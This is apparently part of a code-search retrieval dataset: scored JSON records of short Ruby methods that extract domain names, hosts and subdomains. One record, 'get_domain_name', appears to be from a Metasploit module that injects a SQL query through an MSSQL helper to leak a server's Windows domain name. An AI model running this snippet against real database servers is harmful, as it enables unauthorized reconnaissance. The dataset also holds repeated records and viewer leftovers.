{
"docid": "920c1888918aa0284eed95160f1229e9",
"score": "0.6988576",
"text": "def domain_or_host\n request.domain || request.host\n end",
"title": ""
},
{
"docid": "161965ed47b9ef5bf943499782de7155",
"score": "0.6972089",
"text": "def website_name\n data.site.name\n end",
"title": ""
},
{
"docid": "f4d45faff9703ad817b7a156b8a43ef5",
"score": "0.69657975",
"text": "def fqdn\n if(self.host_name != nil) and (self.host_name != '')\n [self.host_name, self.domain_name].compact.join('.')\n else\n self.domain_name\n end\n end",
"title": ""
},
{
"docid": "2878a51fb761530f7d51a5ce783f3275",
"score": "0.69622463",
"text": "def get_site_name\n @site_name = Mechanize.new.get(@description).title\n end",
"title": ""
},
{
"docid": "0b6739b9b1f0d77fb3abdafcecaecf99",
"score": "0.695197",
"text": "def convert_link_to_domain(link = \"\")\n URI.parse(link).host.sub(\"www.\", \"\")\n end",
"title": ""
},
{
"docid": "81aea30589f0c353e53e8060bd8bb190",
"score": "0.69465417",
"text": "def domain\n ''\n end",
"title": ""
},
{
"docid": "75e30336cac1005634acf4bbe1864769",
"score": "0.6931191",
"text": "def www\n trd.split('.').first.to_s[/www?\\d*/] if trd\n end",
"title": ""
},
{
"docid": "fff6d9189a26579e8c71c8c1ee9bce80",
"score": "0.6908991",
"text": "def address\n @site.host\n end",
"title": ""
},
{
"docid": "bf5aa004ddefe92cd3885d75ab9fd378",
"score": "0.689716",
"text": "def get_domain_name\n clue_start = Rex::Text.rand_text_alpha(8 + rand(4))\n clue_end = Rex::Text.rand_text_alpha(8 + rand(4))\n sql = \"(select '#{clue_start}'+DEFAULT_DOMAIN()+'#{clue_end}')\"\n\n result = mssql_query(sql)\n\n if result && result.body && result.body =~ /#{clue_start}([^>]*)#{clue_end}/\n domain_name = $1\n else\n domain_name = nil\n end\n\n domain_name\n end",
"title": ""
},
{
"docid": "98461676ca8910697f997877033b8cbb",
"score": "0.689412",
"text": "def default_site_subdomain\n ''\n end",
"title": ""
},
{
"docid": "530119462751a9d6464b64b3d987c79c",
"score": "0.6880241",
"text": "def sites_domain\n \"acquia-sites.com\"\n end",
"title": ""
},
{
"docid": "703a8e55805f1ed9ca9b46b08c192514",
"score": "0.6877311",
"text": "def domain; request.domain; end",
"title": ""
},
{
"docid": "703a8e55805f1ed9ca9b46b08c192514",
"score": "0.6877311",
"text": "def domain; request.domain; end",
"title": ""
},
{
"docid": "1f11dd307d26c34ee21f0bc6e18b6158",
"score": "0.6865978",
"text": "def address\n @site.host\n end",
"title": ""
},
{
"docid": "bd31246f43e90911bf62520da1bbe26e",
"score": "0.68658024",
"text": "def subdomain\n parsed_domain.subdomain\n end",
"title": ""
},
{
"docid": "f36100a43311ca61407c5b5fe7617efb",
"score": "0.68649054",
"text": "def hostname(subdomain)\n \"#{subdomain}.coveryourbasics.dev\"\n end",
"title": ""
},
{
"docid": "881ded416281ce0c5afe0895c523767c",
"score": "0.6856252",
"text": "def domain_name\n Faker::Internet.domain_name\n end",
"title": ""
},
{
"docid": "d773c5319f283dddbe639218fa7d161c",
"score": "0.68541265",
"text": "def host\n \t \treturn if self.url.nil?\n \t \thost = URI.parse(self.url).host\n \t \thost = host[4..-1] if host[0..3].eql?(\"www.\")\n \t \thost || nil\n \t end",
"title": ""
},
{
"docid": "03e7714708a2818a96de50f76ecf41fd",
"score": "0.68520594",
"text": "def domain_name(url)\n arr = url.split(\"\")\n letter = arr.shift\n until letter == \"/\" || letter == \".\"\n letter = arr.shift\n end\n\n if arr[0] == \"/\"\n arr.shift\n end\n\n if arr[0] == \"w\" && arr[1] == \"w\" && arr[2] == \"w\" && arr[3] == \".\"\n 4.times {arr.shift}\n end\n\n index = arr.index(\".\") - 1\n arr = arr[0..index]\n arr.reduce(\"\") do |acc, char|\n acc += char\n acc\n end\nend",
"title": ""
},
{
"docid": "a12faf7235740f36239e1340534cb08a",
"score": "0.6851027",
"text": "def domain_url\n domain_url = URI(options.domain)\n domain_url = URI(\"https://#{domain_url}\") if domain_url.scheme.nil?\n domain_url.to_s\n end",
"title": ""
},
{
"docid": "a12faf7235740f36239e1340534cb08a",
"score": "0.6850863",
"text": "def domain_url\n domain_url = URI(options.domain)\n domain_url = URI(\"https://#{domain_url}\") if domain_url.scheme.nil?\n domain_url.to_s\n end",
"title": ""
},
{
"docid": "de8a66a0bb1eff45997ea6815bf3483f",
"score": "0.6839581",
"text": "def domain(name)\n domains.select { |x| x.dns_name.chomp('.') == name }.first\n end",
"title": ""
},
{
"docid": "8bec17bd4420876df3e4861ef81fbbbf",
"score": "0.68341136",
"text": "def tld\n parsed_domain.tld\n end",
"title": ""
}
] |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.